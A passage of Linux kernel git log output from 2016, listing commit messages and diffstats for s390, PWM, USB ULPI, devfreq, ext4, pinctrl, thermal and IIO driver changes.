Unrecognized opcode: `vstm' To solve this issue simply add the path to arch/s390/include to all assembler runs. Signed-off-by: Martin Schwidefsky arch/s390/Makefile | 2 ++ 1 file changed, 2 insertions(+) commit 6512391a30f6b158488e941214541e84473b6bf9 Author: Colin Ian King Date: Tue Sep 6 09:01:31 2016 +0200 s390/crypto: avoid returning garbage value Static analysis with cppcheck detected that ret is not initialized and hence garbage is potentially being returned in the case where prng_data->ppnows.reseed_counter <= prng_reseed_limit. Thanks to Martin Schwidefsky for spotting a mistake in my original fix. Fixes: 0177db01adf26cf9 ("s390/crypto: simplify return code handling") Signed-off-by: Colin Ian King Signed-off-by: Martin Schwidefsky arch/s390/crypto/prng.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e68f1d4ca99e08652066f40d7778b6007f0149d9 Author: Bhaktipriya Shridhar Date: Wed Aug 31 01:57:20 2016 +0530 s390: Remove deprecated create_singlethread_workqueue The workqueue "appldata_wq" has been replaced with an ordered dedicated workqueue. WQ_MEM_RECLAIM has not been set since the workqueue is not being used on a memory reclaim path. The adapter->work_queue queues multiple work items viz &adapter->scan_work, &port->rport_work, &adapter->ns_up_work, &adapter->stat_work, adapter->work_queue, &adapter->events.work, &port->gid_pn_work, &port->test_link_work. Hence, an ordered dedicated workqueue has been used. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Heiko Carstens Signed-off-by: Martin Schwidefsky arch/s390/appldata/appldata_base.c | 2 +- drivers/s390/scsi/zfcp_aux.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 89394cc7c20c48d5e213d05cc37a87ceec23d963 Author: Neil Armstrong Date: Mon Aug 22 17:36:31 2016 +0200 dt-bindings: pwm: Add bindings for Meson PWM Controller Add bindings for the Amlogic PWM Controller in Meson8b and GXBB SoCs. Signed-off-by: Neil Armstrong Signed-off-by: Thierry Reding .../devicetree/bindings/pwm/pwm-meson.txt | 23 ++++++++++++++++++++++ 1 file changed, 23 insertions(+) commit 04d68dea26b0a409d44e87ea573a131b6dc67e78 Author: Seung-Woo Kim Date: Tue Aug 16 23:22:01 2016 +0900 pwm: samsung: Fix to use lowest div for large enough modulation bits From pwm_samsung_calc_tin(), there is routine to find the lowest divider possible to generate lower frequency than requested one. But it is always possible to generate requested frequency with large enough modulation bits except on s3c24xx, so this patch fixes to use lowest div for the case. This patch removes following UBSAN warning: UBSAN: Undefined behaviour in drivers/pwm/pwm-samsung.c:197:13 shift exponent 32 is too large for 32-bit type 'long unsigned int' [...] [] (ubsan_epilogue) from [] (__ubsan_handle_shift_out_of_bounds+0xd8/0x120) [] (__ubsan_handle_shift_out_of_bounds) from [] (pwm_samsung_config+0x508/0x6a4) [] (pwm_samsung_config) from [] (pwm_apply_state+0x174/0x40c) [] (pwm_apply_state) from [] (pwm_fan_probe+0xc8/0x488) [] (pwm_fan_probe) from [] (platform_drv_probe+0x70/0x150) [...] Cc: Tomasz Figa Signed-off-by: Seung-Woo Kim Reviewed-by: Krzysztof Kozlowski Signed-off-by: Thierry Reding drivers/pwm/pwm-samsung.c | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) commit 549c50af251969ecc8de1f773921c2a861fd240b Author: Jyri Sarha Date: Mon Aug 8 15:39:15 2016 +0530 pwm: pwm-tipwmss: Remove all runtime PM gets/puts Remove all pm_runtime_get_sync() and pm_runtime_put_sync() call as well as the dummy pm_ops from the pwm-tipwmss driver. No registers are being modified. The runtime PM still needs to be enabled, so that the runtime PM framework can take care of enabling/disabling the PWMSS clock when submodules of PWMSS (ECAP or EHRPWM) call runtime PM APIs. With this change PWMSS clock goes to idle when none of the submodules are in use. Signed-off-by: Jyri Sarha Signed-off-by: Vignesh R Signed-off-by: Thierry Reding drivers/pwm/pwm-tipwmss.c | 19 ------------------- 1 file changed, 19 deletions(-) commit 065cfbbb638cce3d388020c4b97813b4a904a7c3 Author: Brian Norris Date: Tue Jul 26 11:22:13 2016 -0700 pwm: cros-ec: Add __packed to prevent padding While the particular usage in question is likely safe (struct cros_ec_command is 32-bit aligned, followed by <= 32-bit fields), it's been suggested this is not a great pattern to follow for the general case -- for example, if we follow a 'struct cros_ec_command' (which is 32-bit- but not 64-bit-aligned) with a struct that starts with a 64-bit type (e.g., u64), the compiler may add padding. Let's add __packed, to inform the compiler of our true intention -- to have no padding between these struct elements -- and to future proof for any refactorings that might occur. Signed-off-by: Brian Norris Reviewed-by: Dmitry Torokhov Reviewed-by: Guenter Roeck Signed-off-by: Thierry Reding drivers/pwm/pwm-cros-ec.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit cd4b45ac449a01f0819b8459c451c840437aa0a3 Author: Weiqing Kong Date: Mon Jul 11 16:18:08 2016 +0800 pwm: Add MediaTek MT2701 display PWM driver support Use the mtk_pwm_data struction to define different registers and add MT2701 specific register operations, such as MT2701 doesn't have commit register, needs to disable double buffer before writing register, and needs to select manual mode and use PWM_PERIOD/PWM_HIGH_WIDTH. Signed-off-by: Weiqing Kong [thierry.reding@gmail.com: use of_device_get_match_data()] [thierry.reding@gmail.com: parameterize more consistently] Signed-off-by: Thierry Reding drivers/pwm/pwm-mtk-disp.c | 87 ++++++++++++++++++++++++++++++++++++++-------- 1 file changed, 72 insertions(+), 15 deletions(-) commit e093d06acaa99a79c6de30be22ba71faf6b78dd6 Author: Weiqing Kong Date: Mon Jul 11 16:18:07 2016 +0800 dt-bindings: pwm: Add MediaTek display PWM bindings Add MT2701 compatible string. Signed-off-by: Weiqing Kong Acked-by: Rob Herring Signed-off-by: Thierry Reding Documentation/devicetree/bindings/pwm/pwm-mtk-disp.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit bbf0722c1c663b08f612bd8c58af27f45aa84862 Author: Jisheng Zhang Date: Wed Nov 25 17:41:25 2015 +0800 pwm: berlin: Add suspend/resume support This patch adds suspend-to-RAM support to the Berlin PWM driver. Signed-off-by: Jisheng Zhang Signed-off-by: Thierry Reding drivers/pwm/pwm-berlin.c | 84 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 84 insertions(+) commit 19eb9189c55715b8e15401fb6d862c5766724220 Author: Chris Wilson Date: Tue Sep 6 08:38:44 2016 +0100 drm/i915: Don't wait for a spinlock inside error capture If we can't grab the breadcrumb's spinlock, possibly due to a driver deadlock inside the waiters, ignore them. Like hangcheck, error capturing must work no matter how the driver/GPU dies. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/20160906073844.22561-1-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen drivers/gpu/drm/i915/i915_gpu_error.c | 25 ++++++++++++++++++++----- 1 file changed, 20 insertions(+), 5 deletions(-) commit 073c47aca7b7ccc6dd3fb21a3ee8134e30d8b327 Author: Tal Shorer Date: Tue Aug 16 19:04:53 2016 +0300 usb: dwc3: ulpi: make dwc3_ulpi_ops constant ulpi_register_interface() accepts a const struct ulpi_ops and dwc3 doesn't perform any changes to this struct at runtime, so there's no reason it shouldn't be constant. Reviewed-by: Heikki Krogerus Signed-off-by: Tal Shorer Signed-off-by: Felipe Balbi drivers/usb/dwc3/ulpi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b9454f90c9432e1a70389c26c34e972090efcec6 Author: Tal Shorer Date: Tue Aug 16 19:04:52 2016 +0300 usb: ulpi: make ops struct constant None of the core ulpi functions perform any changes to the operations struct, and logically as a struct that contains function pointers there's no reason it shouldn't be constant. Acked-by: Heikki Krogerus Signed-off-by: Tal Shorer Signed-off-by: Felipe Balbi drivers/usb/common/ulpi.c | 3 ++- include/linux/ulpi/driver.h | 2 +- include/linux/ulpi/interface.h | 2 +- 3 files changed, 4 insertions(+), 3 deletions(-) commit 042b0f31b2a87799a9c832f71474c5be3517e139 Author: Tal Shorer Date: Tue Aug 16 19:04:51 2016 +0300 usb: ulpi: remove "dev" field from struct ulpi_ops Operations now use ulpi->dev.parent directly instead of via the ulpi_ops struct, making this field unused. Remove it. Acked-by: Heikki Krogerus Signed-off-by: Tal Shorer Signed-off-by: Felipe Balbi drivers/usb/common/ulpi.c | 1 - include/linux/ulpi/interface.h | 3 +-- 2 files changed, 1 insertion(+), 3 deletions(-) commit e6f74849784ccf275226d5d3ddfb96c71fa90383 Author: Tal Shorer Date: Tue Aug 16 19:04:50 2016 +0300 usb: ulpi: rename operations {read|write}_dev to simply {read|write} With the removal of the old {read|write} operations, we can now safely rename the new api operations {read|write}_dev to use the shorter and clearer names {read|write}, respectively. Acked-by: Heikki Krogerus Signed-off-by: Tal Shorer Signed-off-by: Felipe Balbi drivers/usb/common/ulpi.c | 4 ++-- drivers/usb/dwc3/ulpi.c | 4 ++-- include/linux/ulpi/interface.h | 4 ++-- 3 files changed, 6 insertions(+), 6 deletions(-) commit 5c42f38795645834a7c23998bd74d35a37bff078 Author: Tal Shorer Date: Tue Aug 16 19:04:49 2016 +0300 usb: ulpi: remove calls to old api callbacks Now that all users use the new api callbacks, remove the old api callbacks and force new interface drivers to use the new api. Acked-by: Heikki Krogerus Signed-off-by: Tal Shorer Signed-off-by: Felipe Balbi drivers/usb/common/ulpi.c | 4 ---- include/linux/ulpi/interface.h | 2 -- 2 files changed, 6 deletions(-) commit b7cf1dc3414de59f178734466f6cfff5171a8ffb Author: Tal Shorer Date: Tue Aug 16 19:04:48 2016 +0300 usb: dwc3: ulpi: use new api The old read, write callbacks in struct ulpi_ops have been deprecated in favor of new callbacks that pass the parent device directly. Replace the used callbacks in dwc3's ulpi component with the new api. Reviewed-by: Heikki Krogerus Signed-off-by: Tal Shorer Signed-off-by: Felipe Balbi drivers/usb/dwc3/ulpi.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 6691402313ddda232e6a401af8841b5fe676a62f Author: Tal Shorer Date: Tue Aug 16 19:04:47 2016 +0300 usb: ulpi: add new api functions, {read|write}_dev() Add these two new api callbacks to struct ulpi_ops. These are different than read, write in that they pass the parent device directly instead of via the ops argument. They are intended to replace the old api functions. If the new api callbacks are missing, revert to calling the old ones as before. Acked-by: Heikki Krogerus Signed-off-by: Tal Shorer Signed-off-by: Felipe Balbi drivers/usb/common/ulpi.c | 8 ++++++-- include/linux/ulpi/interface.h | 2 ++ 2 files changed, 8 insertions(+), 2 deletions(-) commit 51b0ce387b43ba8ed532e6f9f215d891e1899e0a Author: Tal Shorer Date: Tue Aug 16 19:04:46 2016 +0300 usb: ulpi: move setting of ulpi->dev parent up in ulpi_register() Once ulpi operations use the parent device directly, this will be needed during the operations used in ulpi_register() itself, so set the parent field before calling any ulpi operations. Acked-by: Heikki Krogerus Signed-off-by: Tal Shorer Signed-off-by: Felipe Balbi drivers/usb/common/ulpi.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 65e1ff7f4b5b37d84c058a09d60ca2a0acff7cfd Author: John Youn Date: Mon Aug 29 13:39:03 2016 -0700 Documentation: devicetree: dwc2: Deprecate g-tx-fifo-size This property is not needed because the periodic fifos are not configurable. So it was incorrect to add this property in the first place. Acked-by: Rob Herring Signed-off-by: John Youn Signed-off-by: Felipe Balbi Documentation/devicetree/bindings/usb/dwc2.txt | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 994834bc7e185d3bb8a21aabd29dd302fd719016 Author: Lee Jones Date: Tue Aug 16 11:34:00 2016 +0200 ARM: dts: STiH416: Define the number of PWM Capture channels Signed-off-by: Lee Jones arch/arm/boot/dts/stih416.dtsi | 1 + 1 file changed, 1 insertion(+) commit 5b1dd98064f6521f1a871e8db5410d8d2d6d4026 Author: Lee Jones Date: Tue Aug 16 11:34:00 2016 +0200 ARM: dts: STiH416: Define PWM Capture clock Signed-off-by: Lee Jones arch/arm/boot/dts/stih416.dtsi | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 65bb4990b4cb2fa30908f7df7ac8e511158ac235 Author: Lee Jones Date: Tue Aug 16 11:34:00 2016 +0200 ARM: dts: STiH416: Declare PWM Capture data lines via Pinctrl Signed-off-by: Lee Jones arch/arm/boot/dts/stih416-pinctrl.dtsi | 5 +++++ 1 file changed, 5 insertions(+) commit 230e68acd16e9f31d29899f5b17e4aa1d7dd3e77 Author: Lee Jones Date: Tue Aug 16 11:34:00 2016 +0200 ARM: dts: STiH416: Supply PWM Capture IRQs Signed-off-by: Lee Jones arch/arm/boot/dts/stih416.dtsi | 2 ++ 1 file changed, 2 insertions(+) commit 30a2366cb06ecfe46db80d01ecb1443a123622b0 Author: Lee Jones Date: Tue Aug 16 11:34:00 2016 +0200 ARM: dts: STiH407: Declare PWM Capture data lines via Pinctrl Signed-off-by: Lee Jones arch/arm/boot/dts/stih407-pinctrl.dtsi | 3 +++ 1 file changed, 3 insertions(+) commit 65086c218ba093817cf9e06bd18a2bb4c40dd2fd Author: Lee Jones Date: Tue Aug 16 11:34:00 2016 +0200 ARM: dts: STiH407: Supply PWM Capture IRQ Signed-off-by: Lee Jones arch/arm/boot/dts/stih407-family.dtsi | 1 + 1 file changed, 1 insertion(+) commit e9dacbf2bd7f4d05fec80311fa47920d9243b46c Author: Patrice Chotard Date: Thu Aug 4 11:52:01 2016 +0200 ARM: dts: STiH416-b2020e: update gpio specifier Remove useless gpio-cells Add second parameter to indicate if gpio is active high or low. Signed-off-by: Patrice Chotard arch/arm/boot/dts/stih416-b2020e.dts | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 5984d65342965466594670693a40cc2edc834ba4 Author: Patrice Chotard Date: Thu Aug 4 11:50:21 2016 +0200 ARM: dts: STiH41x-b2000: update gpio specifier Remove useless gpio-cells Add second parameter to indicate if gpio is active high or low. Signed-off-by: Patrice Chotard arch/arm/boot/dts/stih41x-b2000.dtsi | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 2402850faca9cf56209cb9eff73c6203c90cf0c5 Author: Patrice Chotard Date: Thu Aug 4 11:44:32 2016 +0200 ARM: dts: STiHxxx-b2120: update gpio specifier Remove useless gpio-cells Add second parameter to indicate if gpio is active high or low. Signed-off-by: Patrice Chotard arch/arm/boot/dts/stihxxx-b2120.dtsi | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 973b932450b7a7e14de654bf32ceae37a5943ca1 Author: Patrice Chotard Date: Thu Aug 4 11:51:17 2016 +0200 ARM: dts: STiH416-pinctrl: update gpio-cells to 2 This patch allows to use second parameter to the gpio specifier, which is used to specify whether the gpio is active high or low. Signed-off-by: Patrice Chotard arch/arm/boot/dts/stih416-pinctrl.dtsi | 60 +++++++++++++++++----------------- 1 file changed, 30 insertions(+), 30 deletions(-) commit d9c12685c69cd97037a347f3489b2a354c341a66 Author: Patrice Chotard Date: Thu Aug 4 11:52:24 2016 +0200 ARM: dts: STiH415-pinctrl: update gpio-cells to 2 This patch allows to use second parameter to the gpio specifier, which is used to specify whether the gpio is active high or low. Signed-off-by: Patrice Chotard arch/arm/boot/dts/stih415-pinctrl.dtsi | 54 +++++++++++++++++----------------- 1 file changed, 27 insertions(+), 27 deletions(-) commit accfb2f19d185628858dc0c063c69c8b75b32724 Author: James Pettigrew Date: Tue Sep 6 08:15:57 2016 +1000 devicetree: Add vendor prefix for FriendlyARM Guangzhou FriendlyARM Computer Tech Co., Ltd is a Chinese ARM board vendor. Signed-off-by: James Pettigrew Reviewed-by: Rask Ingemann Lambertsen Acked-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard Documentation/devicetree/bindings/vendor-prefixes.txt | 1 + 1 file changed, 1 insertion(+) commit 6d2ce1c01cc6a6506e7206d58ffed2aa4caed5e7 Author: James Pettigrew Date: Tue Sep 6 08:15:56 2016 +1000 ARM: dts: sun8i: Add dts file for the NanoPi NEO SBC The NanoPi NEO is a minimal H3 based SBC. It comes with 256/512M RAM, a micro SD slot, 10/100Mbit ethernet and a single USB-A port. Signed-off-by: James Pettigrew Reviewed-by: Rask Ingemann Lambertsen Signed-off-by: Maxime Ripard arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/sun8i-h3-nanopi-neo.dts | 125 ++++++++++++++++++++++++++++++ 2 files changed, 126 insertions(+) commit 5a893e31a636cca3798af2db5aee8d3d144b1e1e Author: Lin Huang Date: Mon Sep 5 13:06:10 2016 +0800 PM / devfreq: rockchip: add devfreq driver for rk3399 dmc base on dfi result, we do ddr frequency scaling, register dmc driver to devfreq framework, and use simple-ondemand policy. Signed-off-by: Lin Huang Signed-off-by: MyngJoo Ham Reviewed-by: Chanwoo Choi drivers/devfreq/Kconfig | 11 + drivers/devfreq/Makefile | 1 + drivers/devfreq/rk3399_dmc.c | 480 +++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 492 insertions(+) commit c1ceb8f7c167eeae79e083417cce8995de3b9238 Author: Lin Huang Date: Mon Sep 5 13:06:09 2016 +0800 Documentation: bindings: add dt documentation for rk3399 dmc This patch adds the documentation for rockchip rk3399 dmc driver. Signed-off-by: Lin Huang Reviewed-by: Chanwoo Choi Signed-off-by: MyungJoo Ham .../devicetree/bindings/devfreq/rk3399_dmc.txt | 209 +++++++++++++++++++++ 1 file changed, 209 insertions(+) commit b9d1262bca0afcbb67fdb309ed45b34f0226e964 Author: Lin Huang Date: Mon Sep 5 13:06:08 2016 +0800 PM / devfreq: event: support rockchip dfi controller on rk3399 platform, there is dfi conroller can monitor ddr load, base on this result, we can do ddr freqency scaling. Signed-off-by: Lin Huang Signed-off-by: MyungJoo Ham Acked-by: Chanwoo Choi drivers/devfreq/event/Kconfig | 7 + drivers/devfreq/event/Makefile | 1 + drivers/devfreq/event/rockchip-dfi.c | 256 +++++++++++++++++++++++++++++++++++ 3 files changed, 264 insertions(+) commit d3d81969e38023265dfe5de18ea6a4d898dc6375 Author: Lin Huang Date: Mon Sep 5 13:06:07 2016 +0800 Documentation: bindings: add dt documentation for dfi controller This patch adds the documentation for rockchip dfi devfreq-event driver. Signed-off-by: Lin Huang Acked-by: Chanwoo Choi Signed-off-by: MyungJoo Ham .../bindings/devfreq/event/rockchip-dfi.txt | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit c8a9a6daccad495c48d5435d3487956ce01bc6a1 Author: Lin Huang Date: Thu Aug 4 19:32:33 2016 +0900 PM / devfreq: event: remove duplicate devfreq_event_get_drvdata() there define two devfreq_event_get_drvdata() function in devfreq-event.h when disable CONFIG_PM_DEVFREQ_EVENT, it will lead to build fail. So remove devfreq_event_get_drvdata() function. Fixes: f262f28c1470 ("PM / devfreq: event: Add devfreq_event class") Cc: stable@vger.kernel.org Signed-off-by: Lin Huang Signed-off-by: Chanwoo Choi Signed-off-by: MyungJoo Ham include/linux/devfreq-event.h | 5 ----- 1 file changed, 5 deletions(-) commit 989a0fc7412fe2a6f327b2e38858d6ac08ac6fdd Author: Jisheng Zhang Date: Thu Aug 25 20:06:14 2016 +0800 PM / devfreq: fix Kconfig indent style Use tab rather than space to indent, and tab + two spaces to indent help message. Signed-off-by: Jisheng Zhang Signed-off-by: MyungJoo Ham drivers/devfreq/Kconfig | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit 797da5598f3a6fd92a514352d67078a682a432cb Author: Krzysztof Kozlowski Date: Fri Aug 19 08:36:55 2016 +0200 PM / devfreq: Add COMPILE_TEST for build coverage The SoC-specific devfreq and devfreq-event drivers can be build tested on all architectures. Signed-off-by: Krzysztof Kozlowski Reviewed-by: Chanwoo Choi Signed-off-by: MyungJoo Ham drivers/devfreq/Kconfig | 4 ++-- drivers/devfreq/event/Kconfig | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) commit 0b38ed36a1ac5e8b8c6bee6f10aada45111a0658 Author: Wei Yongjun Date: Fri Jul 8 13:44:04 2016 +0000 PM / devfreq: exynos-ppmu: remove unneeded of_node_put() for_each_child_of_node() performs an of_node_put() on each iteration, so putting an of_node_put() before a continue results in a double put. Generated by: scripts/coccinelle/iterators/device_node_continue.cocci Signed-off-by: Wei Yongjun Signed-off-by: MyungJoo Ham drivers/devfreq/event/exynos-ppmu.c | 2 -- 1 file changed, 2 deletions(-) commit e22834f0248d0fa841ead6436d6c19f65539dc9c Author: Dmitry Monakhov Date: Mon Sep 5 23:38:36 2016 -0400 ext4: improve ext4lazyinit scalability ext4lazyinit is a global thread. This thread performs itable initalization under li_list_mtx mutex. It basically does the following: ext4_lazyinit_thread ->mutex_lock(&eli->li_list_mtx); ->ext4_run_li_request(elr) ->ext4_init_inode_table-> Do a lot of IO if the list is large And when new mount/umount arrive they have to block on ->li_list_mtx because lazy_thread holds it during full walk procedure. ext4_fill_super ->ext4_register_li_request ->mutex_lock(&ext4_li_info->li_list_mtx); ->list_add(&elr->lr_request, &ext4_li_info >li_request_list); In my case mount takes 40minutes on server with 36 * 4Tb HDD. Common user may face this in case of very slow dev ( /dev/mmcblkXXX) Even more. If one of filesystems was frozen lazyinit_thread will simply block on sb_start_write() so other mount/umount will be stuck forever. This patch changes logic like follows: - grab ->s_umount read sem before processing new li_request. After that it is safe to drop li_list_mtx because all callers of li_remove_request are holding ->s_umount for write. - li_thread skips frozen SB's Locking order: Mh KOrder is asserted by umount path like follows: s_umount ->li_list_mtx so the only way to to grab ->s_mount inside li_thread is via down_read_trylock xfstests:ext4/023 #PSBM-49658 Signed-off-by: Dmitry Monakhov Signed-off-by: Theodore Ts'o fs/ext4/super.c | 41 +++++++++++++++++++++++++++++++---------- 1 file changed, 31 insertions(+), 10 deletions(-) commit 6ae4c5a69877e5afb6ce63f7d82432133934073a Author: Jan Kara Date: Mon Sep 5 23:21:43 2016 -0400 ext4: cleanup ext4_sync_parent() A condition !hlist_empty(&inode->i_dentry) is always true for open file. Just remove it. Also ext4_sync_parent() could use some explanation why races with rmdir() are not an issue - add a comment explaining that. Reported-by: Al Viro Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o fs/ext4/fsync.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 0b7b77791cc1d99cbca08d5bc8210e57e6165612 Author: Kaho Ng Date: Mon Sep 5 23:11:58 2016 -0400 ext4: remove old feature helpers Use the ext4_{has,set,clear}_feature_* helpers to replace the old feature helpers. Signed-off-by: Kaho Ng Signed-off-by: Theodore Ts'o Reviewed-by: Jan Kara Reviewed-by: Darrick J. Wong fs/ext4/ext4.h | 20 -------------------- fs/ext4/ialloc.c | 2 +- fs/ext4/inode.c | 7 +++---- fs/ext4/ioctl.c | 6 ++---- 4 files changed, 6 insertions(+), 29 deletions(-) commit 49da939272f417ff94c40f132a308748b46efe68 Author: Jan Kara Date: Mon Sep 5 23:08:16 2016 -0400 ext4: enable quota enforcement based on mount options When quota information is stored in quota files, we enable only quota accounting on mount and enforcement is enabled only in response to Q_QUOTAON quotactl. To make ext4 behavior consistent with XFS, we add a possibility to enable quota enforcement on mount by specifying corresponding quota mount option (usrquota, grpquota, prjquota). Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o fs/ext4/ext4.h | 12 +++++++++--- fs/ext4/super.c | 34 ++++++++++++++++++++++++---------- 2 files changed, 33 insertions(+), 13 deletions(-) commit 93e3b4e6631d2a74a8cf7429138096862ff9f452 Author: Daeho Jeong Date: Mon Sep 5 22:56:10 2016 -0400 ext4: reinforce check of i_dtime when clearing high fields of uid and gid Now, ext4_do_update_inode() clears high 16-bit fields of uid/gid of deleted and evicted inode to fix up interoperability with old kernels. However, it checks only i_dtime of an inode to determine whether the inode was deleted and evicted, and this is very risky, because i_dtime can be used for the pointer maintaining orphan inode list, too. We need to further check whether the i_dtime is being used for the orphan inode list even if the i_dtime is not NULL. We found that high 16-bit fields of uid/gid of inode are unintentionally and permanently cleared when the inode truncation is just triggered, but not finished, and the inode metadata, whose high uid/gid bits are cleared, is written on disk, and the sudden power-off follows that in order. Cc: stable@vger.kernel.org Signed-off-by: Daeho Jeong Signed-off-by: Hobin Woo Signed-off-by: Theodore Ts'o fs/ext4/inode.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 6840eb0d7646077dad813cda8b2ace08a56fd1c1 Author: Caesar Wang Date: Tue Sep 6 02:17:15 2016 +0800 arm64: dts: rockchip: support the pmu node for rk3399 This patch adds to enable the ARM Performance Monitor Units for rk3399. ARM cores often have a PMU for counting cpu and cache events like cache misses and hits. This uses the new interrupt-partition mechanism to allow the two pmu instances to use the per-cpu interrupt. Signed-off-by: Caesar Wang Acked-by: Mark Rutland Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3399.dtsi | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) commit 210bbd38bb88989ce19208f98e530ff0468f38bd Author: Caesar Wang Date: Tue Sep 6 02:17:14 2016 +0800 arm64: dts: rockchip: change all interrupts cells to 4 on rk3399 SoCs Add the interrupts cells value for 4, and the 4th cell is zero. Due to the doc[0] said:" the system requires describing PPI affinity, then the value must be at least 4" The 4th cell is a phandle to a node describing a set of CPUs this interrupt is affine to. The interrupt must be a PPI, and the node pointed must be a subnode of the "ppi-partitions" subnode. For interrupt types other than PPI or PPIs that are not partitionned, this cell must be zero. See the "ppi-partitions" node description below. [0]: Documentation/devicetree/bindings/interrupt-controller/arm,gic-v3.txt Signed-off-by: Caesar Wang Acked-by: Mark Rutland Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3399.dtsi | 104 +++++++++++++++---------------- 1 file changed, 52 insertions(+), 52 deletions(-) commit b474303ffd57e0a379ce73ca10232350f866f77b Author: Bin Gao Date: Mon Aug 29 09:55:04 2016 -0700 thermal: add Intel BXT WhiskeyCove PMIC thermal driver This change adds support for Intel BXT Whiskey Cove PMIC thermal driver which is intended to handle the alert interrupts triggered upon thermal trip point cross and notify the thermal framework appropriately with the zone, temp, crossed trip and event details. Signed-off-by: Yegnesh S Iyer Signed-off-by: Bin Gao Signed-off-by: Zhang Rui drivers/thermal/Kconfig | 10 ++ drivers/thermal/Makefile | 1 + drivers/thermal/intel_bxt_pmic_thermal.c | 299 +++++++++++++++++++++++++++++++ 3 files changed, 310 insertions(+) commit b8d74b291ff01cfe3799c4118127d5e08763369d Author: Daniel Glöckner Date: Thu Aug 25 15:48:31 2016 +0200 pinctrl: zynq: fix typo in sdio1_3_grp pin list It contains pin 50 instead of pin 40. Signed-off-by: Daniel Glöckner Reviewed-by: Sören Brinkmann Signed-off-by: Linus Walleij drivers/pinctrl/pinctrl-zynq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 571319f1f10105708ecfb714b4bafa873a11fdf0 Merge: a2d16a2 374cf69 Author: Linus Walleij Date: Tue Sep 6 00:25:36 2016 +0200 Merge tag 'sh-pfc-for-v4.9-tag2' of git://git.kernel.org/pub/scm/linux/kernel/git/geert/renesas-drivers into devel pinctrl: sh-pfc: Add support for R-Car M3-W Add initial support for the Pin Function Controller on the Renesas R-Car M3-W SoC: - Basic definitions, - SCIF (serial) pins, groups and functions, - SDHI pins, groups and functions. commit a2d16a21834848226919f3aca37307ce214f6073 Author: Vladimir Zapolskiy Date: Sat Aug 20 01:05:37 2016 +0300 pinctrl: imx: output one pin/config pair per line in pinconf-groups cat /sys/kernel/debug/pinctrl/${pinctrl}/pinconf-groups output is hardly readable, if a pin group contains more than one pin the output is glued and looks like this: MX6Q_PAD_SD1_DAT0: 0x17071MX6Q_PAD_SD1_CMD: 0x17071MX6Q_PAD_SD1_CLK: 0x17071 Add two space indentation and a new line separator to improve readability of the output. Signed-off-by: Vladimir Zapolskiy Acked-by: Shawn Guo Signed-off-by: Linus Walleij drivers/pinctrl/freescale/pinctrl-imx.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 06777c562a50a09c4a2becfb2bf63c762a45df17 Author: Hans de Goede Date: Sun Sep 4 19:35:32 2016 +0200 iio: accel: mxc6255 add support for the mxc6225 The mxc6225 is fully compatible with the existing mxc6255 driver, add support for it. Signed-off-by: Hans de Goede Signed-off-by: Jonathan Cameron drivers/iio/accel/mxc6255.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit ede63aaf7cda21bc265edb928f01363784cbf3fc Author: Nicolas Ferre Date: Tue Aug 30 14:27:01 2016 +0200 iio: adc: at91: Add support for Touchscreen Switches Closure Time On newer components compatible with the at91sam9x5, the Touchscreen Switches Closure Time or TSSCTIM value of the Touchscreen Mode Register is not filled at all. On some hardware, having no time indicated for it may lead to incoherent values and jitter. We fix this time to 10us as it is usually difficult to retrieve impedance values from LCD manufacturers. Signed-off-by: Nicolas Ferre Signed-off-by: Jonathan Cameron drivers/iio/adc/at91_adc.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit fbe84bd4803eb6c96376af5530ce69e1db873b5f Author: Crt Mori Date: Mon Sep 5 11:14:49 2016 +0200 iio: devm_regulator_get_optional never returns NULL This patch is inspired by a comment of Jonathan Cameron on patch of Linus Walleij commit aeb55fff3891834e07a3144159a7298a19696af8 ("iio: st_sensors: fetch and enable regulators unconditionally"). Because changes made in this patch are actually reference generators they should be using devm_regulator_get_optional, but if they do not explicitly set the reference to NULL they should not be using IS_ERR_OR_NULL, but simple IS_ERR check. Suggested-by: Lars-Peter Clausen Signed-off-by: Crt Mori Reviewed-by: Linus Walleij Acked-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron drivers/iio/adc/ad7266.c | 4 ++-- drivers/iio/adc/ti-ads8688.c | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) commit 67516074884b4bde71ca8ca4724544669935cc5d Author: Crt Mori Date: Mon Sep 5 11:14:48 2016 +0200 iio: fetch and enable regulators unconditionally This patch is inspired by a comment of Jonathan Cameron on patch of Linus Walleij commit aeb55fff3891834e07a3144159a7298a19696af8 ("iio: 